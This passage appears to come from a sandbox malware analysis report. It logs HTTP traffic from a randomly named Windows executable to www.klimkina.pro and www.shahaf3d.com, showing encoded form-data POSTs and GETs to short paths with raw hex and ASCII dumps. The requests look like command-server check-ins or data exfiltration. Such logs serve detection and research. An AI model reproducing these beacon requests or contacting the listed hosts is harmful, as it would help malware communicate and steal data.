                                Data Ascii: 9d=V8EXo2f8tZ1yvuFpB58eakJ81YiRNVc0LwOfnXLvylkB7Yaht/8UvP/S6aW/duA3b0arBG67i17fVHxXbCc0kRriitVFsSCLsLqdWlo2VU0OvvOqd0duRHctIEdnj0822bcJCq7pWfT8xvwWSssECkJwo/RAhkP5qisX8Kb/nzhb07xEn/ukKN+/bGAT647qSMaCMpU9fGOjRUEqsCv/bhXEtlRONADkXlBgZWM=
                                Jun 5, 2024 18:27:34.074812889 CEST1236INHTTP/1.1 404 Not Found
                                Server: nginx/1.20.0
                                Date: Wed, 05 Jun 2024 16:26:43 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                Set-Cookie: PHPSESSID5=00ac84a236ce82f62d294db5fd6d1da0; expires=Sat, 06-Jul-2024 16:27:33 GMT; Max-Age=2678400; path=/;Priority=High; domain=www.klimkina.pro; HttpOnly
                                Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                Cache-Control: no-store, no-cache, must-revalidate
                                Pragma: no-cache
                                Set-Cookie: dd_bdfhyr=9d1cd46e1270d926606b2039df3fa376; expires=Thu, 06-Jun-2024 16:27:33 GMT; Max-Age=86400; path=/; secure; HttpOnly
                                Server-version: 14
                                Content-Encoding: gzip
                                Data Raw: 35 34 64 0d 0a 1f 8b 08 00 00 00 00 00 04 03 a5 57 51 6f dc 44 10 7e be fb 15 53 f3 50 90 ba 76 d2 24 25 4d 7c 27 d1 36 40 51 11 08 ca 03 aa 2a b4 67 af cf 9b 5b ef ba de f5 5d 0e f1 40 5b 81 00 21 21 f1 ce 43 ff 41 8a 9a 42 4b 1b fe 82 fd 8f 98 5d fb 2e d7 e4 d2 94 f4 a4 3b 7b 77 67 66 67 66 bf f9 66 2f 8c f9 18 b4 99 0a d6 f3 72 1a c7 5c 0e 89 51 f9 16 ac af e4 7b 5e bf db 0d 03 94 c0 67 37 bc 70 e3 b3 eb b7 bf fe 7c 07 52 93 89 7e 37 b4 0f 10 54 0e 7b 1e 93 28 1a a6 8c c6 fd 2e e0 27 cc 98 a1 28 67 72 c2 ee 95 7c dc f3 ae 2b 69 98 34 e4 f6 34 67 1e 44 cd a8 e7 19 b6 67 02 6b 68 1b a2 94 16 9a 99 5e 69 12 b2 e9 41 d0 ef 76 42 c3 8d 60 fd 8f 98 b9 ae 4a 5c 04 02 3b 45 a1 0a b8 c1 12 5a 0a 13 06 8d 00 4a ba 0d 25 cd 30 8c 31 67 93 5c 15 66 61 9b 09 8f 4d da 8b d9 98 47 8c b8 c1 25 e0 92 1b 4e 05 d1 11 c5 e0 57 fd 15 1b 6d 27 bc 40 08 dc 52 d4 26 02 ae 29 65 b4 29 68 0e 84 58 77 04 97 23 48 0b 96 f4 bc 20 2f 07 82 47 41 22 a8 21 25 0f 06 33 d1 20 d2 fa 68 e4 e3 c8 83 82 89 9e e7 92 ac 53 c6 cc c9 8d [TRUNCATED]
                                Data Ascii: 54dWQoD~SPv$%M|'6@Q*g[]@[!!CABK].;{wgfgff/r\Q{^g7p|R~7T{(.'(gr|+i44gDgkh^iAvB`J\;EZJ%01g\faMG%NWm'@R&)e)hXw#H /GA"!%3 hS>D+-O3Z7~^=Q<eiNcy.,vSWR:Gtrv{Jg APB6A=|P4L}@P&e|%`h#Ap=x<7jtdj(LJ~w78`9Ug=N#TMF{%+d8z8P%HP-(7p_XNgQ
                                Jun 5, 2024 18:27:34.074825048 CEST152INData Raw: f0 b4 f0 8c 9c 11 a9 8a 0c 6b b4 65 a6 23 4b 2d 63 c5 5c e7 18 d9 16 0c 84 8a 46 db 00 4e a2 13 a6 6b 33 4e 9b 4b 70 89 d5 cb 48 2b d8 1a dc 82 35 a4 39 c7 75 db 30 50 45 cc 8a 2d d8 c4 19 ad 04 8f e1 9d b5 f5 f5 ab 1b 3b 5e bf fa bd 3a ac fe aa
                                Data Ascii: ke#K-c\FNk3NKpH+59u0PE-;^:^VW}pY}_fp(}S=Wz#Cq
                                Jun 5, 2024 18:27:34.074837923 CEST613INData Raw: 83 17 80 2f 4f 70 f9 a0 be 8f 2e e0 f0 65 75 60 7f f6 ab 67 d5 93 ea c0 be f9 d0 ba f7 02 25 9e e2 cc 21 58 b7 f0 7b 58 3d 23 e8 ae f5 13 e7 0e ab c7 f5 2f a8 f2 bc 7e 00 f5 43 d4 de c7 35 b4 60 dd 6c 48 fe b8 c7 02 09 bd c9 a8 5d 39 e9 e9 12 67
                                Data Ascii: /Op.eu`g%!X{X=#/~C5`lH]9g F2/lS9i`LE>3[O>b-1J0=0(!zQ@!MYHHl9Ptn.)9Pg"X]%,__o6


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                7192.168.2.749717185.137.235.103804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:35.332253933 CEST1735OUTPOST /4mpz/ HTTP/1.1
                                Host: www.klimkina.pro
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.klimkina.pro
                                Referer: http://www.klimkina.pro/4mpz/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 56 38 45 58 6f 32 66 38 74 5a 31 79 76 75 46 70 42 35 38 65 61 6b 4a 38 31 59 69 52 4e 56 63 30 4c 77 4f 66 6e 58 4c 76 79 6d 45 42 37 4c 53 68 74 59 6f 55 75 50 2f 53 35 61 57 79 64 75 41 6d 62 30 69 76 42 44 69 72 69 33 7a 66 55 6c 35 58 50 6d 77 30 75 52 72 69 75 4e 56 59 79 69 43 53 73 50 47 5a 57 6c 59 32 56 55 30 4f 76 70 4b 71 55 42 70 75 58 48 63 69 59 30 64 37 70 6b 38 65 32 62 30 5a 43 71 2f 35 52 72 76 38 78 50 67 57 65 2b 30 45 42 45 4a 79 74 2f 52 69 68 6b 44 69 71 69 77 78 38 4b 66 5a 6e 30 6c 62 30 4d 63 36 30 4c 65 49 63 4d 43 6d 59 56 45 4e 33 75 37 68 66 61 58 30 45 4a 4d 6e 52 6c 61 31 49 6c 4a 71 34 69 7a 2b 4f 6a 58 71 6f 31 6f 59 63 33 65 4f 43 45 4d 6b 64 54 59 66 45 4b 6b 54 6d 4d 48 47 45 76 5a 2f 39 52 34 77 32 7a 5a 56 35 41 4b 65 66 54 43 30 52 63 2b 4e 30 47 72 45 74 5a 34 68 37 72 44 79 6f 6e 64 6d 6a 4d 4b 4b 44 63 7a 6b 4c 39 66 50 30 35 76 64 4d 39 76 49 6b 7a 65 74 32 73 31 30 34 61 47 4a 4b 6d 4f 68 35 6b 4f 4f 69 43 4e 72 43 50 76 35 76 52 6a 43 5a 32 68 [TRUNCATED]
                                Data Ascii: 9d=V8EXo2f8tZ1yvuFpB58eakJ81YiRNVc0LwOfnXLvymEB7LShtYoUuP/S5aWyduAmb0ivBDiri3zfUl5XPmw0uRriuNVYyiCSsPGZWlY2VU0OvpKqUBpuXHciY0d7pk8e2b0ZCq/5Rrv8xPgWe+0EBEJyt/RihkDiqiwx8KfZn0lb0Mc60LeIcMCmYVEN3u7hfaX0EJMnRla1IlJq4iz+OjXqo1oYc3eOCEMkdTYfEKkTmMHGEvZ/9R4w2zZV5AKefTC0Rc+N0GrEtZ4h7rDyondmjMKKDczkL9fP05vdM9vIkzet2s104aGJKmOh5kOOiCNrCPv5vRjCZ2hzq3lnsL31p/2Dmb/OojJTE1CuavUmUjV+H1CUoQYJGZgwj/zbmkrcHGwT3x4DsGYtXyqcHXz6eW+WmzFK+ZLVG4v/6PuICqIwmFXrV1iMeava0u9oQpPDajoH4D5FhgT7zfo/OpHrSmItDyYRKeYA0nUUtrElolRH8HMQHoKu8IEOSw5iunfAiWyodld4fPdh/pYUCTc3pDSUI8zhX5NGoVDqCnrqL10kBT6FS9va0T6EWYJHUnj8NI2inrRT2nLEaCvdzrpfrKVspNrf0m09Cj/i7ON3AH6DbJu80L1o6Z0kpFcjzB/i2kqbAR9PPaCvouAgYuGTOZcJG4N5V3pP9Hvs+Erv7OcIkposUoBxKQISRd+dql5TJGMSrYhlbHuhT+ROK0NT3A5Nx1AdXDdMcUoHe3JzLzl1AcbSOAns/LYDD+vCobAlDqunScZDevBWgZ5E51pyJyAQ74LE/Eum/sEjsruWy+4H4CrCK9wskTQ9HXp+s+XB1ftGoEvQ9nD+smaNGSLDYUtXjZb6mTEhXKBYQ4oi6h8B+9XsrS0UIhAjFEIEhUE04WvBdc7+1ydzuGlih2uIEhbd3EQbWUIZOxb0ylF1DOvIS7GJQEZlXh3cXp15lKnMxxURCoBowr1/nu6mBLVmJFT4UIQSgRtW5Nj0RjjS8n+KC [TRUNCATED]
                                Jun 5, 2024 18:27:36.265587091 CEST1236INHTTP/1.1 404 Not Found
                                Server: nginx/1.20.0
                                Date: Wed, 05 Jun 2024 16:26:45 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                Set-Cookie: PHPSESSID5=d0c65a234ece170c69c245dde91ea3e0; expires=Sat, 06-Jul-2024 16:27:36 GMT; Max-Age=2678400; path=/;Priority=High; domain=www.klimkina.pro; HttpOnly
                                Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                Cache-Control: no-store, no-cache, must-revalidate
                                Pragma: no-cache
                                Set-Cookie: dd_bdfhyr=9d1cd46e1270d926606b2039df3fa376; expires=Thu, 06-Jun-2024 16:27:36 GMT; Max-Age=86400; path=/; secure; HttpOnly
                                Server-version: 14
                                Content-Encoding: gzip
                                Data Raw: 35 34 64 0d 0a 1f 8b 08 00 00 00 00 00 04 03 a5 57 51 6f dc 44 10 7e be fb 15 53 f3 50 90 ba 76 d2 24 25 4d 7c 27 d1 36 40 51 11 08 ca 03 aa 2a b4 67 af cf 9b 5b ef ba de f5 5d 0e f1 40 5b 81 00 21 21 f1 ce 43 ff 41 8a 9a 42 4b 1b fe 82 fd 8f 98 5d fb 2e d7 e4 d2 94 f4 a4 3b 7b 77 67 66 67 66 bf f9 66 2f 8c f9 18 b4 99 0a d6 f3 72 1a c7 5c 0e 89 51 f9 16 ac af e4 7b 5e bf db 0d 03 94 c0 67 37 bc 70 e3 b3 eb b7 bf fe 7c 07 52 93 89 7e 37 b4 0f 10 54 0e 7b 1e 93 28 1a a6 8c c6 fd 2e e0 27 cc 98 a1 28 67 72 c2 ee 95 7c dc f3 ae 2b 69 98 34 e4 f6 34 67 1e 44 cd a8 e7 19 b6 67 02 6b 68 1b a2 94 16 9a 99 5e 69 12 b2 e9 41 d0 ef 76 42 c3 8d 60 fd 8f 98 b9 ae 4a 5c 04 02 3b 45 a1 0a b8 c1 12 5a 0a 13 06 8d 00 4a ba 0d 25 cd 30 8c 31 67 93 5c 15 66 61 9b 09 8f 4d da 8b d9 98 47 8c b8 c1 25 e0 92 1b 4e 05 d1 11 c5 e0 57 fd 15 1b 6d 27 bc 40 08 dc 52 d4 26 02 ae 29 65 b4 29 68 0e 84 58 77 04 97 23 48 0b 96 f4 bc 20 2f 07 82 47 41 22 a8 21 25 0f 06 33 d1 20 d2 fa 68 e4 e3 c8 83 82 89 9e e7 92 ac 53 c6 cc c9 8d [TRUNCATED]
                                Data Ascii: 54dWQoD~SPv$%M|'6@Q*g[]@[!!CABK].;{wgfgff/r\Q{^g7p|R~7T{(.'(gr|+i44gDgkh^iAvB`J\;EZJ%01g\faMG%NWm'@R&)e)hXw#H /GA"!%3 hS>D+-O3Z7~^=Q<eiNcy.,vSWR:Gtrv{Jg APB6A=|P4L}@P&e|%`h#Ap=x<7jtdj(LJ~w78`9Ug=N#TMF{%+d8z8P%HP-(7p_XNgQ
                                Jun 5, 2024 18:27:36.265603065 CEST765INData Raw: f0 b4 f0 8c 9c 11 a9 8a 0c 6b b4 65 a6 23 4b 2d 63 c5 5c e7 18 d9 16 0c 84 8a 46 db 00 4e a2 13 a6 6b 33 4e 9b 4b 70 89 d5 cb 48 2b d8 1a dc 82 35 a4 39 c7 75 db 30 50 45 cc 8a 2d d8 c4 19 ad 04 8f e1 9d b5 f5 f5 ab 1b 3b 5e bf fa bd 3a ac fe aa
                                Data Ascii: ke#K-c\FNk3NKpH+59u0PE-;^:^VW}pY}_fp(}S=Wz#Cq/Op.eu`g%!X{X=#/~C5`lH]9g F


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                8192.168.2.749718185.137.235.103804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:37.863272905 CEST447OUTGET /4mpz/?9d=Y+s3rA3a2LtNoPwWBpgaIhZOwJKcGGwPKC2uuWvM7lg96Y/Bosg4gpfl0qSHVI44Bh+XBT77oF2RMn9kUx4VpizPsaF86hmUooqlU0clf3MZo9yRfCdtfy1jNGRBq2V4+pMGerSvIMLN&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.klimkina.pro
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:27:38.813507080 CEST408INHTTP/1.1 301 Moved Permanently
                                Server: nginx/1.20.0
                                Date: Wed, 05 Jun 2024 16:26:47 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                Location: http://klimkina.pro/4mpz/?9d=Y+s3rA3a2LtNoPwWBpgaIhZOwJKcGGwPKC2uuWvM7lg96Y/Bosg4gpfl0qSHVI44Bh+XBT77oF2RMn9kUx4VpizPsaF86hmUooqlU0clf3MZo9yRfCdtfy1jNGRBq2V4+pMGerSvIMLN&G0a=VFN0vBc0ol1ljnb0
                                X-XSS-Protection: 1
                                Data Raw: 30 0d 0a 0d 0a
                                Data Ascii: 0


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                9192.168.2.74971964.46.118.35804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:44.250412941 CEST702OUTPOST /0a9p/ HTTP/1.1
                                Host: www.shahaf3d.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.shahaf3d.com
                                Referer: http://www.shahaf3d.com/0a9p/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 59 2b 4d 6f 43 6a 71 46 6b 66 56 70 69 33 49 78 4a 46 63 35 4a 2b 50 69 48 4c 55 76 69 30 73 30 4d 31 47 59 6e 37 2f 2f 50 44 4c 41 35 70 30 76 73 6a 48 6b 55 46 6d 6c 6f 74 63 47 36 4f 51 46 30 42 61 56 68 63 6e 71 4b 45 51 61 41 38 61 4f 67 46 2b 2b 56 41 34 44 2f 38 30 4e 43 56 37 42 43 57 6b 74 6c 45 4d 4b 70 6a 50 4e 33 36 6c 71 35 42 2f 31 6e 74 64 59 30 5a 6b 56 63 48 78 78 30 6f 42 4f 55 33 63 38 64 65 70 36 66 74 57 38 4e 34 6c 33 31 77 4e 50 58 38 77 44 5a 53 66 38 54 35 35 57 4d 72 4c 50 55 69 4c 63 35 79 55 42 53 6b 36 41 53 4c 66 48 48 74 44 30 54 5a 44 69 63 6f 79 77 4c 4a 59 2b 38 48 47 64 41 53 79 58 49 77 3d 3d
                                Data Ascii: 9d=Y+MoCjqFkfVpi3IxJFc5J+PiHLUvi0s0M1GYn7//PDLA5p0vsjHkUFmlotcG6OQF0BaVhcnqKEQaA8aOgF++VA4D/80NCV7BCWktlEMKpjPN36lq5B/1ntdY0ZkVcHxx0oBOU3c8dep6ftW8N4l31wNPX8wDZSf8T55WMrLPUiLc5yUBSk6ASLfHHtD0TZDicoywLJY+8HGdASyXIw==
                                Jun 5, 2024 18:27:45.705521107 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                x-powered-by: PHP/7.4.33
                                x-litespeed-tag: afb_HTTP.404
                                content-type: text/html; charset=UTF-8
                                expires: Wed, 11 Jan 1984 05:00:00 GMT
                                cache-control: no-cache; private
                                x-litespeed-cache-control: no-cache
                                transfer-encoding: chunked
                                content-encoding: br
                                vary: Accept-Encoding
                                date: Wed, 05 Jun 2024 16:27:45 GMT
                                server: LiteSpeed
                                Data Raw: 63 33 36 0d 0a 80 90 02 80 f8 9f d9 ec 7f ef aa 2c f6 a7 c9 60 e8 67 d9 86 40 06 83 49 8f 43 7a 1a d3 c2 ba 60 a5 65 49 4f 92 01 7f 8a aa bf d8 ff c5 62 f7 ef 5d eb 15 b2 42 d9 0a 9f 64 22 f6 ee 13 e2 64 92 a3 bd fd 44 d8 56 31 3d 5f a5 00 50 c8 1a d9 1a 5b a1 fa 18 d3 fb da 49 39 8a 08 d4 ca 66 62 04 5c 64 7e 10 1d 44 b3 3a 34 6a 00 ab 37 2a 7b a4 d9 a7 0f bd f9 41 04 00 7b 88 e3 df ec ba c1 0d 85 83 e6 2f f5 14 ca de 96 e0 e9 34 35 34 6f a8 ec 89 90 5f 8f 48 d8 b6 7a 40 49 50 a7 04 9b 7f 6f cc 7c c5 15 95 c3 1e 51 6e 4c 60 83 f6 b5 3f 3c 7e 0b c6 e6 ed f8 b0 0f cf ee 3f bb ff 04 a7 8f 76 68 a6 60 36 60 f1 f7 79 68 74 e5 28 10 4e 1f e1 da 49 1d a4 5e e1 49 ab 54 87 e7 3a d0 ca f1 40 02 ef cd c2 04 59 e1 43 e7 03 35 be 97 cd 0f 46 a4 9a 68 56 40 93 b3 34 0e 0a e3 bc 09 56 c6 ac 14 59 d5 7a 12 59 3a b5 86 d9 37 a6 45 92 cf e1 6b 32 fd 59 2c 68 d0 0c 6e 9d 02 ff 4d aa 43 b0 be c8 32 5f f3 9a 2f 4f 45 5a 99 86 40 9b d0 f2 e0 66 31 bd e9 21 8b 89 72 25 d1 65 67 1b cb 80 5e 37 6b ad 32 5c f8 6c 94 8f 4e [TRUNCATED]
                                Data Ascii: c36,`g@ICz`eIOb]Bd"dDV1=_P[I9fb\d~D:4j7*{A{/454o_Hz@IPo|QnL`?<~?vh`6`yht(NI^IT:@YC5FhV@4VYzY:7Ek2Y,hnMC2_/OEZ@f1!r%eg^7k2\lN"m1;*hf?,2=62r5+KH9INW&&(7PA+B;k\52of*z9Ilt~u9N0m@\l$6REUBRKB-7MC$AR54:Ter+}V_q?|vyr8v)so6$kIA<;;f*,mA^$AmpCpL 6{BbZN1<h ~bt?&&xb8`{n\=LQR&8'I}Xc\iZ5W@mc_EE>x`ZU(AW}7?qBJeet!sjN+5\$>_4n'qQMIY
                                Jun 5, 2024 18:27:45.705542088 CEST212INData Raw: d1 cb fd d2 b8 93 f3 48 28 3d ac b3 b3 7a 53 49 ae 98 92 3e a4 4d 26 38 17 47 07 4b e1 d6 40 d8 67 45 6d d6 e4 44 5a 81 03 3c c0 af 97 b3 7f 2a 25 0b 6d 42 bf 50 dc 07 66 96 2c 74 96 06 45 31 e6 68 5d 43 f3 a8 90 28 11 97 83 d9 86 9e 67 0a 2c 76
                                Data Ascii: H(=zSI>M&8GK@gEmDZ<*%mBPf,tE1h]C(g,vv1LP9vtYI460eVf//o[4g|rq1fJK_K_bfYO2O=dRl{CEFiDb6.TFv#
                                Jun 5, 2024 18:27:45.705558062 CEST1236INData Raw: 0a 0c f3 fc 38 fd 67 5c 39 aa b8 0d 55 cd d9 82 8b 15 61 37 66 97 c5 d0 46 93 5b 08 b9 64 79 e1 e4 aa 87 27 c0 6f 72 b8 12 d6 b1 1d 35 c7 60 a7 4f 2f c8 ad 25 ee b8 ae a8 40 0a 6b aa 81 f4 73 05 e1 c2 89 02 6f 57 5e 07 08 99 81 f4 84 c8 a5 b4 b5
                                Data Ascii: 8g\9Ua7fF[dy'or5`O/%@ksoW^`EV{o0R{P|UizA$|F*3O0YBOH?*ro3HW5krwZk-{9ys>5W2tEQH5{rI8nV.8
                                Jun 5, 2024 18:27:45.705576897 CEST212INData Raw: 70 2d 41 9f bb 32 c6 3e c1 6e ac 23 ef 87 b2 80 75 02 0a e7 18 e2 aa 70 f6 6c f8 0b 05 62 da 0a 7d 6d 36 d7 8c a3 c3 1c b1 ae 6d fb 59 06 d7 12 a5 94 6a 34 9a 9a 08 22 cf ac d1 df 39 d9 5d 7c b0 bc 98 89 e6 46 db 51 62 9b 8f b7 e6 0e fc 96 6f bf
                                Data Ascii: p-A2>n#uplb}m6mYj4"9]|FQboONI&Y'-yvZ>SV6,UKD|bBV_D<K8Csr`FQLi#xVq VJP
                                Jun 5, 2024 18:27:45.705843925 CEST619INData Raw: af b4 ad 2b c4 31 8a 24 1c 8b a3 29 6c 20 bf 5b 94 76 39 05 59 4d 21 bf 34 ef 35 96 14 aa ba 5f c9 66 fa 87 07 3a 76 ab 40 7c fd f6 c3 47 1d 01 a3 e6 e9 95 2f 00 15 03 40 ec ad 1d c5 3e 76 96 e2 02 f1 aa 20 45 5b b6 d9 6c bc cc 8b b5 4e 91 ae 8c
                                Data Ascii: +1$)l [v9YM!45_f:v@|G/@>v E[lN 1]cmX"C3WlVpW{aDWxiam\K'.~dy*v`~ziC_rHI>)Q9O$=$`Gf?h'){Ar7LyjJr=.
                                Jun 5, 2024 18:27:45.710813046 CEST11INData Raw: 31 0d 0a 03 0d 0a 30 0d 0a 0d 0a
                                Data Ascii: 10


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                10192.168.2.74972064.46.118.35804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:46.783699036 CEST722OUTPOST /0a9p/ HTTP/1.1
                                Host: www.shahaf3d.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.shahaf3d.com
                                Referer: http://www.shahaf3d.com/0a9p/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 59 2b 4d 6f 43 6a 71 46 6b 66 56 70 77 47 34 78 4f 69 6f 35 49 65 50 74 62 37 55 76 6f 55 73 77 4d 31 4b 59 6e 36 37 4a 50 78 76 41 35 4a 45 76 74 69 48 6b 58 46 6d 6c 6e 4e 63 44 6b 2b 51 4f 30 41 6d 64 68 5a 6e 71 4b 45 45 61 41 2b 79 4f 67 53 4b 39 56 51 34 42 33 63 30 50 4d 31 37 42 43 57 6b 74 6c 45 49 6b 70 6a 33 4e 33 4c 56 71 6f 51 2f 79 72 4e 64 66 7a 5a 6b 56 4e 58 78 31 30 6f 42 38 55 32 51 57 64 61 5a 36 66 73 6d 38 4d 70 6c 77 2b 77 4e 4a 59 63 78 54 49 48 71 50 5a 61 31 72 41 59 33 58 55 51 6e 50 38 45 4a 6a 49 47 32 73 4d 61 6e 38 44 76 6e 43 45 2f 65 58 65 70 32 6f 47 72 73 66 6a 77 6a 33 4e 41 54 54 65 50 6c 61 6c 6e 74 42 6d 30 69 6a 32 79 36 53 79 49 6f 68 6b 6b 49 3d
                                Data Ascii: 9d=Y+MoCjqFkfVpwG4xOio5IePtb7UvoUswM1KYn67JPxvA5JEvtiHkXFmlnNcDk+QO0AmdhZnqKEEaA+yOgSK9VQ4B3c0PM17BCWktlEIkpj3N3LVqoQ/yrNdfzZkVNXx10oB8U2QWdaZ6fsm8Mplw+wNJYcxTIHqPZa1rAY3XUQnP8EJjIG2sMan8DvnCE/eXep2oGrsfjwj3NATTePlalntBm0ij2y6SyIohkkI=
                                Jun 5, 2024 18:27:48.217691898 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                x-powered-by: PHP/7.4.33
                                x-litespeed-tag: afb_HTTP.404
                                content-type: text/html; charset=UTF-8
                                expires: Wed, 11 Jan 1984 05:00:00 GMT
                                cache-control: no-cache; private
                                x-litespeed-cache-control: no-cache
                                transfer-encoding: chunked
                                content-encoding: br
                                vary: Accept-Encoding
                                date: Wed, 05 Jun 2024 16:27:48 GMT
                                server: LiteSpeed
                                Data Raw: 63 33 36 0d 0a 80 90 02 80 f8 9f d9 ec 7f ef aa 2c f6 27 64 30 f4 b3 6c 43 c8 d0 06 93 1e 07 7a 1a d3 c2 ba 60 a5 65 49 4f 92 01 7f 8a aa bf d8 ff c5 62 f7 ef 5d eb 15 b2 42 d9 0a 9f 64 22 f6 ee 13 e2 64 92 a3 bd fd 44 d8 56 31 3d 5f a5 00 50 c8 1a d9 1a 5b a1 fa 18 d3 fb da 49 39 8a 08 d4 ca 66 62 04 5c 64 76 10 1d 44 d3 3a 34 6a 00 ab 37 2a 7b a4 d9 a7 0f bd d9 41 04 00 7b 88 e3 df ec ba c1 0d 85 83 e6 2f f5 14 ca de 96 e0 e9 34 35 34 6f a8 ec 89 90 5f 8f 48 d8 b6 7a 40 49 50 a7 04 9b 7f 6f cc 7c c5 15 95 c3 1e 51 6e 4c 60 83 f6 b5 3f 3c 7e 0b c6 66 ed f8 b0 0f cf ee 3f bb ff 04 67 8f 76 68 a6 60 36 60 f1 f7 79 68 74 e5 28 10 ce 1e 61 ee a4 0e 52 af f0 a4 55 aa c3 73 1d 68 e5 78 20 81 f7 66 61 82 ac f0 a1 f3 81 1a df cb 66 07 23 52 4d 34 2b a0 c9 59 1a 07 85 71 de 04 2b 63 56 8a ac 6a 3d 89 2c 9d 5a c3 ec 1b d3 22 c9 e7 f0 35 99 fe 2c 16 34 68 06 b7 4e 81 ff 26 d5 21 58 5f 64 99 af 79 cd 97 67 22 ad 4c 43 a0 4d 68 79 70 b3 98 de f4 90 c5 44 b9 92 e8 b2 b3 8d 65 40 af 9b b5 56 19 2e 7c 36 ca 47 67 [TRUNCATED]
                                Data Ascii: c36,'d0lCz`eIOb]Bd"dDV1=_P[I9fb\dvD:4j7*{A{/454o_Hz@IPo|QnL`?<~f?gvh`6`yht(aRUshx faf#RM4+Yq+cVj=,Z"5,4hN&!X_dyg"LCMhypDe@V.|6GgY~VA4H]1\M(R,.*inruC,IM07TJN#'WeDlv0z]a:ouG7W72>Ei=f|e>iRqGoE9xkyPvi V)^UY|2s+w`R8O.k)y\y2;]xA`ZR!O$"<w$#DjdIh#>\%h:4+fOHlXI7=2vMO_98X^m7WzgI=NgRPGc4zGs61/gGU>x`ZU(AW}woXibCJVjT_I}hzh1`7N&w
                                Jun 5, 2024 18:27:48.217706919 CEST1236INData Raw: a2 97 fb a5 71 27 e7 91 50 7a 58 67 67 f5 a6 92 5c 31 25 7d 48 9b 4c 70 2e 8e 0e 96 c2 ad 81 b0 cf 8a da ac c9 89 b4 02 07 78 80 5f 2f 67 ff 54 4a 16 da 84 7e a1 b8 0f cc 2c 59 e8 2c 0d 8a 62 cc d1 ba 86 e6 51 21 51 22 2e 07 b3 0d 3d cf 14 58 ec
                                Data Ascii: q'PzXgg\1%}HLp.x_/gTJ~,Y,bQ!Q".=Xc^L(r)rQ%5m'im` GT_2_ZQo_Yzw<^^/5Z]J3zyAtu eC-m0JC&q2kU`'?Qmj\1,6B%
                                Jun 5, 2024 18:27:48.217719078 CEST424INData Raw: 4a c5 f5 2c 6f 78 43 38 2c 4b c4 33 9e 32 6b b5 b7 8a fb 3a 86 20 a9 e6 5f e7 7a 25 7d 48 b9 10 fd 58 75 7d 64 c1 c0 d9 f9 5a 18 d1 65 b3 db 73 4c be c0 44 a4 95 cd 59 fb 28 44 55 5d 7a e8 b3 b0 75 ca ad cf 96 18 56 ca d6 52 c8 26 c6 fc e8 b7 fe
                                Data Ascii: J,oxC8,K32k: _z%}HXu}dZesLDY(DU]zuVR&z]<Mos/mU{B~p_dYgvomvu(`vj6c%aUT?@~.xW%Cg]PLYqb*b_Kk1vcy?P8g_(
                                Jun 5, 2024 18:27:48.219086885 CEST619INData Raw: 7a a5 6d 5d 23 8e 51 24 e1 58 1c 4d 60 03 f9 dd a2 b4 cb 29 c8 6a 0a f9 a5 79 af b1 a4 50 d5 fd 4a 36 d3 3f 3c d0 b1 5b 05 e2 f9 db 0f 1f 75 04 8c 9a a7 57 be 00 54 0c 00 b1 b7 76 14 fb d8 59 8a 0b c4 ab 82 14 6d d9 66 b3 f1 32 2f d6 3a 45 ba 32
                                Data Ascii: zm]#Q$XM`)jyPJ6?<[uWTvYmf2/:E2dUag(v_)a#ZU\ ~^]?cYe yS~ep-i$<'F}`*1&D?$giST]Tfdr$H/{3)
